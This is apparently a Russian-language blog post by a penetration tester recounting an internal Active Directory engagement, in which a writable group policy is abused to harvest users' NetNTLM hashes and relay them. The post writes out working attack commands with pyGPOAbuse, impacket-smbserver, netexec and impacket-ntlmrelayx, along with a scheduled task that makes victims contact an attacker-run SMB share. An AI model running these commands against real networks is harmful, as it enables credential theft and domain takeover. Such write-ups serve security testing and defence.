
Привет!
Давно хотел написать эти строчки, но получилось это сделать в возрасте, когда бытовых и семейных проблем становится все больше, а свободного времени все меньше.
Моя первая статья, поэтому прошу не судить строго. Пару слов обо мне, или, как пишут в большинстве презентаций на профильных конференциях - who am i.
Работаю пентестером вот уже немало лет в одной около-государственной компании, оказывающей услуги аудита информационной безопасности организациям, функционирующим в различных сферах деятельности. В своей работе часто приходится сталкиваться c пентестом внутрянки, и обычно (в 90% случаях) это Active Directory. Вот, пожалуй, и всё, перейдем ближе к делу.
Initial Access
Распространенные векторы атак на AD всем давно известны, не будем останавливаться на них подробно. Чаще всего они предусматривают получение учетной записи пользователя с дальнейшим повышением до доменного администратора.
В одном из пентестов нашей командой была добыта ничем не примечательная учетка пользователя с последующим сбором информации о домене с помощью широко известного инструмента BloodHound.
Каким же было моё удивление, когда я построил вектор атаки до группы «Domain Admins» и увидел такую картину!

Захваченный нами пользователь входит в группу Domain Users, члены которой имеют права WriteDacl (право на выдачу прав) на групповую политику, которая распространяется на несколько OU (Organizational Unit), в состав которых входят в том числе администраторы домена. Это если описать цепочку подробно. А если коротко, то можно сформулировать так - любой пользователь домена может стать администратором за пару шагов!
Что ж, грех не проэксплуатировать данный вектор. Начинаем.
Попытки эксплуатации небезопасных настроек GPO
В большинстве хороших и полезных статей по абузингу групповых политик (GPO Abuse) рассматриваются случаи, когда GPO распространяется на учетные записи компьютеров, и почти всегда в качестве примеров приводится создание пользователя на хостах, ну либо получение реверс-шелла.
Посмотрим, кто входит в наши OU:
Get-ADComputer -Credential $cred -Server IP_DC -Filter * -SearchBase $OUpath | Select-object *
Get-ADUser -Credential $cred -Server IP_DC -Filter * -SearchBase $OUpath | Select-object *
Машинных учетных записей не оказалось, придется воздействовать на учетные записи пользователей.
Наиболее частый и простой способ заабузить групповую политику - это создание задачи в планировщике задач (Scheduled Tasks). Для учетной записи компьютера (как я уже упомянул ранее) мы можем прописать задачу на добавление пользователя, получить реверс-шелл... Для пользователя же попробуем инициировать его обращение к нашей виртуальной машине Kali Linux, чтобы как минимум получить его NetNTLM хэш, а как максимум провести атаку NTLM-Relay и получить сессию на каком-нибудь хосте от его имени.
Для начала поднимем у себя smb-сервер (шару), к которой будут обращаться пользователи:
impacket-smbserver -smb2support share .
Далее используем скрипт pyGPOAbuse:
python3 pygpoabuse.py domain.ru/username:'password' -gpo-id "DDDDDDDD-BBBB-4444-AAAA-9E7FA13207A9" -powershell -command "copy \my_ipshare1.txt 123.txt" -f -user
Обратим внимание на флаг gpo-id (идентификатор групповой политики, можно посмотреть в том же BloodHound) и флаг user, который как раз и отвечает за то, чтобы наша задача выполнялась в контексте пользователя.
Как известно, обновление групповых политик может занимать от 5 до 120 минут, поэтому казалось, что успех близок. Но время шло, а никаких обращений к нашему великолепному файловому серверу не было, хэши не приходили, пользователи не стучались. В чем была ошибка, не понятно, как её исправить, тем более. Но ведь задача в групповой политике создавалась! Или нет?
Решение проблемы
Чтобы это проверить, было принято решение подключиться к редактору групповых политик напрямую и наглядно посмотреть все настройки нашей GPO. Быстрый (и не очень) гуглинг позволил найти отличную статью, описывающую процесс разработки утилиты DRSAT, с помощью которой можно "обмануть" оснастку MMC Group Policy Manager и получить доступ к редактору GPO.
Спойлер 1
Установить данное ПО получилось только на серверную ОС, благо под рукой оказалась виртуальная машина с Windows Server 2019, поэтому много времени мы не потеряли.
Спойлер 2
На момент проведения пентеста утилита выглядела и называлась по-другому, сейчас автор её доработал, но смысл понятен.
Качаем проект, компилируем, запускаем:
runas /user:domain.ruusername /netonly "DGPOEdit.exe /s /gpobject:LDAP://dc01.domain.ru/cn={DDDDDDDD-BBBB-4444-AAAA-9E4FA86707A9},cn=policies,cn=system,DC=domain,DC=ru"
Вводим пароль и попадаем в настройки групповой политики, к которой был доступ у скомпрометированного пользователя.

Зайдем в "Назначенные задания" пользователя.

Ура, таски были успешно созданы и даже запущены! Тогда почему же не было обращений к нашему smb-серверу? Как выяснилось, pyGPOAbuse перед отправкой задачи в GPO кодирует powershell-команду в base64.
Эксперимента ради, зайдем в настройки задачи, вкладка "Действия", и перепишем команду в явном виде.

После данной манипуляции и 30 секунд ожидания пользователи начали обращаться на наш сервер. Хэши паролей успешно начали перехватываться! Можем накопить некоторое их количество и отправить на hashcat, однако парольная политика в организации была достаточно серьезная и в успех брутфорса верилось слабо.

Усложняемся
Если мы не можем забрутфорсить хэши, значит попробуем провести атаку NTLM-Relay и получить сессию с правами администратора на какой-нибудь хост.
В качестве целей укажем те, на которых отключено подписывание smb-пакетов:
netexec smb ip_addr/24 --gen-relay-list smb_targets.txt
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -i -socks

Дождемся соединения с AdminStatus = True и будем уже целенаправленно работать с этим хостом.

В нашем случае была получена сессия от имени администратора на один из файловых серверов, с которого и была выгружена вся нужная нам информация для захвата домена.
Впрочем, здесь уже началась классическая атака NTLM-Relay на SMB, что выходит за рамки нашей небольшой и несложной статьи. Всем спасибо за внимание =)
Автор: pisihor